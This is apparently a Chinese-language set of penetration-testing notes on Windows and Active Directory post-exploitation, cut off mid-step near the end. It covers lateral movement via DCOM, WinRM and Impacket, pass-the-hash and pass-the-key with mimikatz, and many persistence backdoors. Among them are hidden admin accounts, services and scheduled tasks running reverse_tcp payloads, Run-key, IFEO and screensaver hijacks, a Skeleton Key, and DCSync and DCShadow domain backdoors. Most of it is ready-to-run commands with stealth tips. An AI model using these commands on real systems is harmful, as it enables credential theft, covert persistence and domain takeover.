执行成功后不会创建新进程,会在原有的explore.exe进程中创建子进程shell.exe,不容易被发现

ShellBrowserWindow

使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。

1
2
3
4
5
6
7
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例: 
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.131"))

# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程: $com.Document.Application.shellExecute("C:\shell.exe")

# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.131")).Document.Application.shellExecute("C:\shell.exe")

同样会在原有的explore.exe进程中创建子进程shell.exe,不容易被发现

Impacket里的dcomexec.py脚本

Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。

命令格式如下:

1
2
./dcomexec.py domain/username:password@ip 
./dcomexec.py domain/username:password@ip <command>

WinRM的利用

WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,在另一台计算机便能通过WinRM对其进行远程管理了。

只有在Windows Server 2008以上版本的服务器中,WinRm服务才会自动启动。

在利用WinRM进行横向移动时,需要拥有远程主机的管理员凭据信息

通过WinRM执行远程命令

Windows远程管理提供了两个工具:
① Winrs,允许远程执行命令的命令行工具,利用了WS-Manage协议
② Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务。

在默认情况下,无法通过WinRM连接到目标系统。可能出现错误:Winrs error:WinRM客户端无法处理该请求。可以将默认身份验证与IP地址结合使用:
① 传输为HTTPS或目标位于TrustedHosts列表中,并且提供显式凭据
② 使用Winrm.cmd配置TrustedHosts。

执行以下命令,将目标地址添加到TrustedHosts中:

1
2
3
4
winrm set winrm/config/client @{TrustedHosts="192.168.1.1"} 

set-Item WSMan:localhost\client\trustedhosts -value *
# 通过powershell,信任所有主机

Winrs

winrs是Windows上远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行命令。要求通信双方都安装了WinRM服务。

1
2
3
4
# 执行系统命令 
winrs -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@ "whoami"
# 获取远程交互式命令行
winrs -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@ "cmd"

Winrm.cmd

winrm.cmd允许WMI对象通过WinRm传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。比如可以通过调用Win32_Process类的Create方法来创建远程实例。

1
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.1.131:5985 -u:Administrator -p:123qwe@

通过WinRM获取交互式会话

Evil-Winrm

一个自动化工具

https://github.com/Hackplayers/evil-winrm

通过powershell获取

PTH&PTK&PTT(hash、key、ticket传递)

https://www.cnblogs.com/hellobao/articles/17262423.html

1
2
3
PTH(pass the hash)   #哈希传递(PTH),是一种针对NTML协议的攻击技术,在NTML身份认证第三步生成Response时,客户端直接使用用户的NTML哈希值进行计算,用户的明文密码不参与整个过程。就是说获取用户凭据后,无需破解明文密码
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试

PTH和PTK

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击

1
2
3
4
5
6
# mimikatz
privilege::debug
# NTLM
sekurlsa::logonPasswords
# AES
sekurlsa::ekeys

总结:KB2871997 补丁后的影响

https://www.freebuf.com/column/220740.html

PTH:打补丁前任意用户都可以连接,打了补丁后只能 administrator 用户才可以连接

PTK:打补丁前不能连接,打补丁后才能任意用户都可以连接(采用 aes256 连接)

PTT-票据传递

PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,三种常见的攻击方法:

MS14-068,Golden ticket,SILVER ticket。简单来说就是将连接合法的票据注入到内存中实现连接。

Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术

MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是 kb3011780

PTH

利用Mimikatz进行PTH

Mimikatz内置了哈希传递的功能,需要本地管理员权限。

① 抓取用户的哈希

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

② 利用抓取的域管理员的NTLM hash进行哈希传递

1
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:uf9n1x.com /ntlm:93b95aef15f4d50fab96ffc44a2f326a" exit

利用impacket进行PTH

Impacket项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有:

1
2
3
4
5
6
7
8
9
psexec.py      # 类似PSEXEC的功能示例,使用remcomsvc(https://github.com/kavika13/remcom) smbexec.py     # 与使用remcomsvc的psexec w/o类似的方法。这里描述了该技术。我们的实现更进一步,                    #实例化本地smbserver以接收命令的输出。这在目标计算机没有可写共享可用的情况下很有用。 python3 smbexec.py -hashes :3617ad523f47fc96f24c45943affd954 administrator@192.168.1.131 
#-hashes 指定用户完整的哈希,如果LM哈希被废弃,就将其指定为0或者空

atexec.py # 此示例通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。

wmiexec.py # 需要开放139445端口,通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。

python wmiexec.py -hashes 00000000000000000000000000000:3617ad523f47fc96f24c45943affd954 administrator@192.168.1.131
dcomexec.py # 类似于wmiexec.py的半交互式shell,但使用不同的DCOM端点。目前支持 MMC20.Application,ShellWindows和ShellBrowserWindow对象。

用法:

1
2
3
4
# 普通用法
python3 xxx.py domain/user:password@ip
# 哈希传递
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a

PTK aes256 传递

打补丁后的工作组及域连接:

1
sekurlsa::pth /user:webserver-2008 /domain:uf9n1x /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

PTT 票据传递

需要先了解kerberos认证原理,及金票银票等,放在kerberos的章节

权限持久化

https://www.cnblogs.com/starme/p/18496419

常见系统后门技术

创建影子账户

影子账户即隐藏的账户,无论通过”计算机管理”还是命令行查询都无法看到,只能在注册表中找到其信息。一般是创建具有管理员权限的影子账户,在主机上实现权限维持。下面是创建影子账户的方法:

① 创建一个名为”Hacker$”的账户

1
net user Hacker$ Hacker@123 /add # 账户名为Hacker$,密码为Hacker@123,$表示该用户为隐藏用户

通过命令行无法查到:

但是通过计算机管理(compmgmt.msc)的用户和组以及控制面板可以看到:

此时Hacker$为标准用户,为了使其拥有管理员权限,需要修改注册表:

② 在注册表HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的快捷菜单中选择“权限”命令,将Administrator用户的权限设置为“完全控制”。如下图:

③ 在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 处选择Administrator用户,在左侧找到与右边显示的键值的类型“0xlf4”相同的目录名,如下图:

在完成了第②步后重新打开注册表编辑器,即可出现HKEY_LOCAL_MACHINE\SAM\SAM\Domains目录

复制000001F4表项的F属性的值

img

④ 以相同方法找到与隐藏账户Hacker$相应的目录,将复制的000001F4表项中的F属性值粘贴到000003F7(隐藏账户Hacker$对应的目录)表项的F属性值处,并确认

粘贴后:

以上过程其实是Hacker$用户劫持了Administator用户的RID,从而使Hacker$用户获得Administrator用户的权限

RID:

在Windows操作系统中,RID代表”Relative Identifier”,即相对标识符。RID是Windows中用于唯一标识用户、组和计算机账户的一个数字。每个安全主体(如用户或组)在Windows的安全标识符(SID)中都包含一个RID部分

⑤ 分别选中注册表项”Hacker$”和”000003F7”并导出

同样的,导出“Hacker$”:

然后执行命令:

1
net user Hacker$ /del

⑥ 重新打开注册表,将刚才导出的两个注册表项导入注册表中即可,如下图:

至此,真正的影子账户Hacker$就创建好了,无论是查看本地用户和组,还是通过命令行查询都看不到该账户,只有在注册表中才能查看该账户的信息

对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,在系统或服务重启时,可以重新获得对目标主机的控制权。不过,需要拥有管理员权限。

系统服务后门

创建系统服务

执行:

highlighter- mipsasm

1
2
sc create Backdoor binpath= "cmd.exe /k C:\Windows\System32\reverse_tcp.exe" start="auto" obj="LocalSystem"
# obj:指定服务运行的权限;

利用现有的系统服务

可以通过”sc config”命令修改服务的binpath选项,也可以尝试修改注册表的ImagePath键,二者都直接指定了相应服务的启动时运行的二进制文件。相关利用方法在权限提升专题提及

利用svchost.exe启动服务

svchost.exe(服务主机)是 Windows 系统中的一个进程,允许操作系统以进程的形式运行多个 Windows 服务。每个 svchost.exe 实例通常负责不同的服务集合,这样可以有效管理资源和提高系统稳定性。

① 制作一个DLL文件

highlighter- routeros

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhsot=192.168.40.146 lport=1234 -f dll -o reverse_tcp.dll

② 将生成的DLL上传到System32目录并执行:(安装并配置恶意服务)

highlighter- taggerscript

1
2
3
4
5
6
7
8
9
10
# 创建名为Backdoor的服务,并以schost加载的方式启动,服务分组为netsvc
sc create Backdoor binpath= "C:\Windows\System32\svchost.exe -k netsvc" start=auto obj= LocalSystem
# 将Backdoor服务启动时加载的DLL为reverse_tcp.dll
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"
# 配置服务描述
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v Description /t REG_SZ /d "Windows xxx Service"
# 配置服务显示名称
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"
# 创建服务新分组netsvc,并将Backdoor服务添加进去
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor

当系统重启时,Svchost以system权限加载恶意服务,目标主机将重新上线

同样的,在攻击机上做好监听

计划任务后门

通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序

1
2
schtasks /Create /TN Backdoor /SC daily /ST 08:00 /mo 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F
# 创建一个名为Backdoor的计划任务,并在每天08:0时以SYSTEM权限运行exe病毒

如果要以SYSTEM权限运行计划任务,就需要有管理员级别的权限。

创建一个名为Backdoor的计划任务,每60秒运行一次:

1
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

在“计算机管理”中有“计划任务程序库”,其中存储了计算机上所有的计划任务

为了增强隐蔽性,在创建计划任务后门时应当遵守存储规范:执行:

1
schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

将在\Microsoft\Windows\AppTask路径下创建一个名为“AppRun”的计划任务后门

启动项/注册表键后门

可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。

系统启动文件夹

Windows有两种常见的启动文件夹:

1
2
3
4
5
# 位于以下目录中的程序将在指定用户登录时启动
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start# 在win11上不存在
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # win11为这个
# 位于以下目录中的程序将在所有用户登录时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup # 在win11上存在

运行键(Run Keys)

Windows有很多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载特定的DLL文件。当用户登录时,系统会依次检查位于注册表运行键中的程序,并在用户登录的上下文中启用。Windows默认创建以下运行键,如果修改HKEY_LOCAL_MACHINE下的运行键,需要拥有管理员权限的权限。

1
2
3
4
5
6
# 以下注册表中的程序将在当前用户登录时启动:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 以下注册表中的程序将在所有用户登录时启动:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

执行以下命令,将在注册表运行键中添加一个名为“Backdoor”的键,并将该键值指向后门程序的绝对路径

1
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\reverse_tcp.exe"

当用户重新登录时,目标主机将重新上线

Winlogon Helper

Winlogon是Windows系统的组件,用于处理各种与用户相关的行为。注册表中的一些键值定义了在Windows登录期间会启动哪些进程。测试人员可以滥用此类注册表键值,使Winlogon在用户登录时执行恶意程序。

1
2
3
4
# 指定用户登录时执行的用户初始化程序,默认是userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
# 指定Windows身份验证期间执行的程序,默认是explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

执行:

1
2
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\userinit.exe,reverse_tcp.exe" /f
# 注意,还是要保留userinit.exe这个文件的路径

然后在用户登录时启动,能够上线。

注意:在滥用Userinit和Shell的键时要保留原有程序,将待启动的后门程序添加到原有程序后面,用”,”分隔,并且,后门程序需要被上传至C:\Windows\System32目录

Port Monitors

打印后台处理服务(Print Spooler)负责管理Windows系统的的打印工作

攻击流程:

① 通过msf生成64位的DLL

② 将DLL文件上传到C:\Windows\System32\目录,并执行命令,通过编辑注册表安装一个端口监视器

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"

当重启时,Print Spooler服务在启动时会读取Monitors注册表项的所有子键,并以SYSTEM权限加载Driver键值所指定的DLL文件。

事件触发执行

利用WMI事件订阅

需要拥有管理员权限

1.手动利用

下面通过powershell部署一个事件订阅,可以在每次系统启动后的5分钟内执行后门程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 创建名为TestFilter的事件过滤器
$EventFilterArgs = @{
EventNamespace = ' root/cimv2 '
Name = "TestFilter"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'win32 PerfFormattedData PerfOS_ System' AND TargetInstance.
SystemUpTime >= 240 AND TargetInstance. SystemUpTime < 325"
QueryLanguage = 'WQL'
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class - EventFilter
- Arguments $EventFilterArgs
# ========创建一 个名为TestConsumer的事件消费者,在指定事件发生时执行后门程序========
$CommandLineEventConsumerArgs = @{
Name = "TestConsumer"
CommandLineTemplate = "cmd.exe /k C:Windows\System32\reverse_ tcp.exe"
$EventConsumer = Set-Wmi Instance -Namespace root\subscription -Class
CommandLineEventConsumer -Ar guments SCommandL ineEventConsumerArgs

执行上面命令后,目标主机将在启动后的5分钟内重新上线

2.辅助工具

前面曾通过Sharp-WMIEvent在远程主机上执行系统命令,该工具同样包含权限持久化功能。

在目标主机上执行以下命令,运行Sharp-WMIEvent:

1
Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe" /c C:\Windows\System32\reverse_tcp.exe

这将在目标主机上部署一个随机命名的永久事件订阅,每当用户登录时都将执行恶意程序。

3.MSF

msf框架内置了一个通过WMI事件订阅在目标系统上实现持久化的模块,即exploit\windows\local\wmi_persistence,可用于特定事件触发时在系统上执行任意的攻击载荷

1
2
use exploit/windows/local/wmi_persistence
show options

利用系统辅助功能

Windows系统包含了很多供用户通过组合键启动时的辅助功能,如下:

程序 功能 组合
sethc.exe 粘滞键 连按5次shift键
magnify.exe 放大镜 win + “+”
utilman.exe 实用程序 win + U
osk.exe 屏幕键盘 win + Ctrl + O
displayswitch.exe 屏幕扩展 win + P
atbroker.exe 辅助管理工具
narrator.exe 讲述者 win + ctrl + enter

其中,最常用的是sethc.exe,测试人员将cmd.exe伪装成sethc.exe,然后在远程桌面登录屏幕连按5次shift键,即可获得一个命令行窗口,实现未授权访问,需要有管理员权限。

手动利用

为了对C:\Windows\System32目录下的文件拥有修改和写入权限,需要先通过令牌窃取提升至TrustedInstaller权限

获得TrustedInstaller权限后,执行以下命令即可:

1
2
3
cd C:\Windows\System32
move sethc.exe sethc.exe.bak
copy sethec.exe sethc.exe # 将一个cmd.exe副本伪装成sethc.exe

此时,在目标主机的远程登录屏幕中连按5次shift键,即可获取一个命令行窗口,并且为SYSTEM权限。

RDP劫持

通过粘滞键等系统辅助功能创建的后门以SYSTEM权限运行,测试人员可以在获得的命令行中执行RDP劫持

IFEO注入

IFEO(Image File Execution Options)是Windows的一个注册表项,路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在Windows NT系统时,IFEO原本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使开发人员能够将调试器附加到应用程序。

Debugger

当用户启动计算机的程序后,系统会在注册表的IEFO中查询所有的程序子键,如果存在与该程序名称相同的子键,就读取对应子键的“Debugger”键值。如果该键值未被设置,那就不做处理,否则就直接用该键值所指定的程序路径来代替原始的程序。

通过编辑“Debugger”键,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需获取TrustedInstaller权限。

在靶机上执行:

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\reverse.exe"

连按5次shift即可弹出命令行窗口

GlobalFlag

IFEO还可以在指定程序默认退出时启动任意监控程序,需要通过设置:

1
2
3
4
5
6
# 启动对记事本进程的静默退出监视
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 启动Windows错误报告进程WerFault.exe,将成为reverse.exe的父进程
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# 将监视器进程设为reverse_tcp.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\reverse.exe"

当用户打开记事本(notepad.exe)时,程序正常启动。当用户关闭记事本或相关进程被杀死后,将在WerFault进程中创建子进程以运行后门程序reverse.exe

利用屏幕保护程序

不需要管理员权限,标准用户权限即可

屏幕保护是Windows系统的一项功能,可以在用户一段时间不活动后播放屏幕消息或图形动画,屏幕保护程序由.scr扩展名的可执行文件组成。注册表项HKEY_CURRENT\Control Panel\Desktop下存储了用来设置屏幕保护程序的键值,如下表:

键名 说明
SCRNSAVE.EXE 设置屏幕保护程序路径,指向.scr可执行文件
ScreenSaveActive 设置是否启用,1为启用
ScreenSaverIsSecure 设置是否需要密码解锁,设置0表示不需要密码
ScreenSaveTimeOut 设置执行屏幕保护之前用户不活动的超时

可以修改屏幕保护程序的执行路径(即scrnsave.exe键的值),当触发屏幕保护时执行自定义的后门程序

1
2
3
4
5
6
7
8
# 将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以.scr或.exe均可
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\System32\reverse.exe"
# 启用屏幕保护
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1
# 设置不需要密码解锁
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d "0"
# 将用户不活动的超时设为60
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60"

一段时间不活动后,即可上线msf。

注意:除了ScreenSaveActive的值为1外,其他三个键都不存在,所以需要手动创建,并且,触发的恶意程序只能在当前用户的上下文中运行

DLL劫持

https://yanghaoi.github.io/2021/11/18/dll-jie-chi-lou-dong/#toc-heading-26

系统程序DLL劫持

利用一些会随着系统启动或用户登录后启动的程序进行权限维持。对于C盘系统目录下的操作,都需要管理员甚至更高权限。对于随用户启动的程序,返回的都是用户权限,对于权限维持来说,已经是够用了。

msdtc.exe

msdtc.exe是微软分布式传输协调程序,在域内主机上一般是作为服务自启动的,需要管理员权限操作:

msdtc会加载注册表位置DLL文件:

1
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

这里的oci.dll在系统目录下并不存在,所以可以在msdtc.exe的相对目录中写入oci.dll,利用msdtc.exe加载。利用方式也非常简单,可以直接将beacon.dll改名为oci.dll放入C:\windows\system32\目录下直接加载即可(dll要与msdtc.exe相同位数):

有些版本MSDTC服务自启动为手动,将其改为自动即可

1
sc config msdtc start="auto"

劫持应用程序

常见域后门技术

当获取域控权限后,需要使用域后门技术进行权限维持。

创建Skeleton key域后门

Skeleton key即“万能钥匙”。通过在域控上安装这个Skeleton key,所有域用户账户都可以使用一个相同的密码进行认证,同时保持原有密码仍然有效,该技术通过注入lsass.exe进程实现,创建的Skeleton仅保留在内存中,如果域控重启,它就会失效。需要域管理员级别的权限。

常规利用

照样上传mimikatz,执行:

1
mimikatz.exe "privilege::debug" "misc::skeleton" exit

执行后,将为所有域账户设置一个相同的密码“mimikatz”,从而可以成功登录域控制器

缓解措施

微软在2014年添加了LSA(local security authority,本地安全机构)报错策略,用来防止对lsass.exe进程的内存读取和代码注入:

1
2
3
4
# 开启lsa报错策略
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 关闭Lsa:
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

重启系统后,mimikatz的相关操作都会失败

不过mimikatz可以绕过:

1
2
3
4
5
6
# 需要mimitatz项目中的mimidrv.sys驱动文件
mimikatz命令行下:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

创建DSRM域后门

DSRM(Directory Services Restore Restore Mode,目录服务还原模式)是域控制器的安全模式启动选项,用于使服务器脱机,以进行紧急维护。

在域控制器上,DSRM账户实际上是本地管理员账户,并且该账户的密码在创建后几乎很少使用。通过在域控上运行NTDSUtil,可以为DSRM账户修改密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 进入ntdsutil
ntdsutil
# 进入设置DSRM账户密码设置模式
set dsrm password
# 在当前域控制器上恢复DSRM密码
reset password on server null
# 输入新密码
<password>
# 再次输入密码
<password>
# 退出DSRM密码设置模式
q
# 退出ntdsutil
q

可以通过修改DSRM账户的密码,以维持对域控制器权限。

需要:① win2008及以上 ② 域控制管理员

① 读取SAM文件,获取DSRM账户的密码

1
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

② 修改DSRM模式的登录模式,以允许该账户的远程登录。可以通过编辑DsrmAdminLogonBehavior键值来实现。登录模式:

0 : 默认值,域控制器重启并进入DSRM模式,才可以使用DSRM管理员账户

1 : 只有本地AD,DS服务停止时,才可以使用DSRM管理员账号登录域控制器

2:任何情况下都可以使用DSRM管理员账号登录域管理器

故:

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f # 将登录模式改为‘2

然后使用DSRM账户对域控进行哈希传递并成功获取域控权限。(执行psexec脚本进行攻击)

SID History的利用

SID 和SID History

SID History是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆岛另一个账户,在域迁移中常常使用。

利用方法

在实战中,测试人员可以将域管理员的SID添加到其他域用户的SID History属性中,以此建立一个隐蔽的域后门。

① 传mimikatz,并执行:

1
2
3
4
# mimikatz> 2.1.0
mimikatz.exe "privilege::debug" "sid:patch" "sid::add /sam:Hacker /new:Administrator" exit
# mimikatz < 2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Hacker ADSAdministrator" exit

② 查看Hacker用户的属性和Administrator用户属性

1
2
3
4
Import-Module ActiveDirectory

Get-ADUser Hacker -Properties SIDHistory
Get-ADUser Administrator -Properties SIDHistory

可以发现其SID History属性值已经与Administrator用户的SID相同,这说明Hacker用户将继承Administrator用户的所有权限。

③ 通过Hacker用户连接到域控,执行“whoami /priv”,发现该用户拥有域管的所有特权。

1
python3 wmiexec.py HACK-MY/Hacker:Hacker\@123@192.168.40.1 

利用AdminSDHolder打造域后门

1.AdminSDHolder

AdminSDHolder是一个特殊的Active Directory容器对象,位于Domain NC的System容器下

1
2
3
4
5
# 枚举受保护的用户
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

# 枚举受保护的组
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn

2.利用方法

需要有域管理员级别权限

测试人员可以篡改AdminSDHolder容器的ACL配置。

1
2
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights ALL -Verbose

执行成功后,Marcus用户拥有对AdminSDHolder容器的完全控制权限,可以向域管理组中添加用户

如果清除Marcus用户对AdminSDHolder的完全控制权限:

1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights ALL -Verbose

HOOK PasswordChangeNotify

PasswordChangeNotify是一个Windows API,当重置密码时,Windows会检查新密码是否符合复杂性要求,如果密码符合要求,LSA会调用PasswordChangeNotify函数在系统中同步密码。

此时测试人员可以利用HOOK技术劫持PasswordChangeNotify函数获取新密码

需要用到HookPasswordChange.dll(Github),Invoke-ReflectivePEInjection.ps1(kali powersploit项目CodeExecution目录下)

1
2
3
4
5
# 导入Invoke-ReflectivePEInjection.ps1
Import-Module .\Invoke-ReflectivePEInjection.ps1
# 读取HookPasswordChange.dll并将其注入lsass进程
$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator\HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass

网络管理员修改密码后,新密码会被储存在C:\Windows\Temp目录下,也可通过修改源码将密码传回远程服务器

DCSync攻击技术

DCSync 攻击技术是一种针对 Windows 域控制器的攻击方法,攻击者可以通过模拟域控制器的行为,获取用户账户的密码哈希和其他敏感信息。这种攻击主要利用了 Active Directory 的复制功能,允许攻击者在网络中使用权限较低的账户来获取高权限的信息。

默认情况下,只有Administrator,Domain Controllers和Enterprise DomainAdmins组内用户和域控制器和域控制器的机器账户有执行DCSync操作的权限

利用DCSync导出域内哈希

1.mimikatz下的利用

1
2
3
4
5
6
# 导出域内指定用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /user:hack-my\administrator" exit

# 导出域内所有用户的信息,包括哈希值
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all" exit
mimikatz.exe "lsadump::dcsync /domain:hack-my.com /all /csv" exit

域管理员的账户哈希值可以通过哈希传递攻击获取域控制器权限

Krbtgt用户的哈希值可以用来制作黄金票据,实现票据传递攻击

2.Impacket下的利用

Impacket项目中的secretsdump.py脚本支持通过DCSync技术导出域控中用户哈希。

1
2
python secretsdump.py hack-my.com/administrator:Admin\@123@192.168.40.10 -just-dc-user "hack-my\administrator"
# 192.168.40.10为域控的IP

利用DCSync维持域内权限

在获得域控权限后,可以手动位域内标准用户赋予DCSync操作的权限,从而实现隐蔽的域后门。只需要为普通域用户添加两条扩展权限即可:

CN displayName
DS-Replication-Get-Changes Replicating Directory Changes
DS-Replication-Get-Changes-All Replicating Directory Changes All

可以通过PowerView.ps1实现:

1
2
3
Import-Mudule .\PowerView.ps1
# 为域用户Marcus添DCSync权限
Add-DomainjectAcl -TargetIdentity "DC-hack-my,DC=com" -PrincipalIndentity Marcus -Rights DCSync -Verbose

为域用户Marcus添加DC-Mrarcus

清除域用户DCSync权限消除:

1
Remove-DomainObjectAcl -TargetIdentity "DC=hack-my,DC=com" -PrincipalIdentity Marcus -Rights DCSync -Verbose

DCShadow

DCShodow同样滥用了域控之间的DRS数据同步机制,但是将DCSync的攻击思路反转,通过创建恶意的域控,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控,以此来创建域后门或获取各种类型的的非法访问渠道。

Windows通过RID来区分用户账户和组,常见的:

RID RID
Administrator 500 Domain Guests 514
Guest 501 Domain Computers 515
Krbtgt 502 Domain Controllers 516
Domain Admins 512 Schema Admins 518
Domain Users 513 Enterprise Admins 519

① 向域内任意一台主机上传mimikatz,以SYSTEM权限打开命令行,以拥有适当的权限来创建恶意域控

1
mimikatz.exe "lsadump::dcshadow /object:CN=Marcus,CN=Users,DC=hack-my,DC=com /attribute:primaryGroupID /value:512" exit

② 保持第一个窗口不变,新开一个域管理员权限的命令行窗口:

1
2
